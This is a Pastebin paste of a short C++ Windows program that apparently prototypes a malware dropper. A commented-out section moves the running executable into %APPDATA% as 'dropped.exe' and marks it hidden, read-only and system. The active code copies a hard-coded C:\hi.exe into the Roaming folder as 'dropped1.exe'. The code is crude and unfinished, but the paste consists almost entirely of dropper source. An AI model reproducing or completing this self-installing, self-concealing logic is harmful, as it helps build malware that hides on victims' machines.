Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>
- #include <stdio.h>
- using namespace std;
- #define CONFIG_DROPPATH "%APPDATA%"
- #define CONFIG_FILENAME "dropped.exe"
- DWORD dwFileSize;
- HANDLE hFila;
- void * lpFileBuffer;
- DWORD dwBytesRead;
- int main ()
- {
- CHAR szEFileName[MAX_PATH]="C:\\hi.exe";
- char CurrentPath[MAX_PATH];
- char TempPath[MAX_PATH];
- char InstallPath[MAX_PATH];
- CHAR szFileName[MAX_PATH]="C:\\Users\\User\\AppData\\Roaming\\dropped1.exe";
- /*
- GetModuleFileName(GetModuleHandle(NULL), CurrentPath, MAX_PATH );
- _snprintf(TempPath, MAX_PATH , "%s\\%s", CONFIG_DROPPATH, CONFIG_FILENAME);
- ExpandEnvironmentStrings(TempPath, InstallPath, MAX_PATH );
- //#ifdef DEBUG
- printf("Current Path: %s\n", CurrentPath);
- printf("Install Path: %s\n", InstallPath);
- //#endif
- if (lstrcmp(CurrentPath, InstallPath) != 0)
- {
- MoveFile(CurrentPath, InstallPath);
- SetFileAttributes(InstallPath, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);
- }
- //cout<<CONFIG_DROPPATH<<endl;
- */
- HANDLE hFile = CreateFileA(szFileName, GENERIC_WRITE,FILE_SHARE_WRITE , NULL, CREATE_ALWAYS, 0, NULL);
- HANDLE hFile1 = CreateFileA(szEFileName,GENERIC_READ,FILE_SHARE_READ , NULL, OPEN_EXISTING, 0, NULL);
- cout<<hFile<<endl;
- cout<<hFile1<<endl;
- dwFileSize = GetFileSize(hFile1, NULL);
- lpFileBuffer = (void*)malloc(dwFileSize);
- ReadFile(hFile1, lpFileBuffer, dwFileSize, &dwBytesRead, NULL);
- WriteFile(hFile, lpFileBuffer, dwFileSize, &dwBytesRead, NULL);
- return 0;
- }
Add Comment
Please, Sign In to add comment